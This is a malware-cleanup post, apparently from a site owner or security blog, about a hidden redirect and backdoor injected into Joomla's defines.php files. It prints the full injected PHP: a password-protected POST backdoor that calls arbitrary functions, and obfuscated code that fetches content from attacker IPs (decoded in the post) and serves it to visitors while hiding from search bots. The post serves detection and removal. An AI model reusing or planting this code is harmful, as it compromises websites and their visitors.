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PHP_SESSION_PHP

We found old cookie (PHP_SESSION_PHP) based hidden redirect in joomla. These two modified files found when we search files:

/administrator/includes/defines.php
/includes/defines.php

Normal part of these files look like this:

<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');

But then malware begin (SECOND PART), so rest of file:

//istart


function is_valid_url(&$url)
{
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
}

function request_url_data($url) {

    if(!is_valid_url($url))
        return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
error_reporting(0);
$_passssword = '76b2acde4962a97b811bc12563953b82';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
}
unset($_passssword);

$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
        $bad_url = true;
        break;
    }
}

$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
//    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
//        $url = base64_decode('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjo3MDMzOTQyNTowNzkyOzs0');
    $url = decrypt_url('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjo3MDMzOTQyNTowNzkyOzs0');
    $code = request_url_data($url);
//    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        $echo_done = true;
        print $decoded;
    }
}//iend

Also different urls found:

decrypt_url('a3d3czksLDI6Ny0wNy0xMDctOjIsYW9sZCw8bWpoZiV2d25ccGx2cWBmPjEyOzo7OTQyNzA1NzkyOzs2');
decrypt_url('a3d3czksLDI3Ny0xMDAtNTotOzAsYW9sZCw8c3ZuYiV2d25ccGx2cWBmPjo3MDMzOTQyNTowNzkyOzs0');

Decoded these:

http://144.233.69.83/blog/?puma&utm_source=94300:716934:1887
http://194.34.234.91/blog/?nike&utm_source=21898:714364:1885

Here list that website’s set PHP_SESSION_PHP cookie: https://webcookies.org/cookie/http/PHP_SESSION_PHP/41265

You can manually clean these files, just delete SECOND PART of file!

Similar vulnerability in wordpress, more details and info: https://blog.sucuri.net/2015/12/evolution-of-pseudo-darkleech.html

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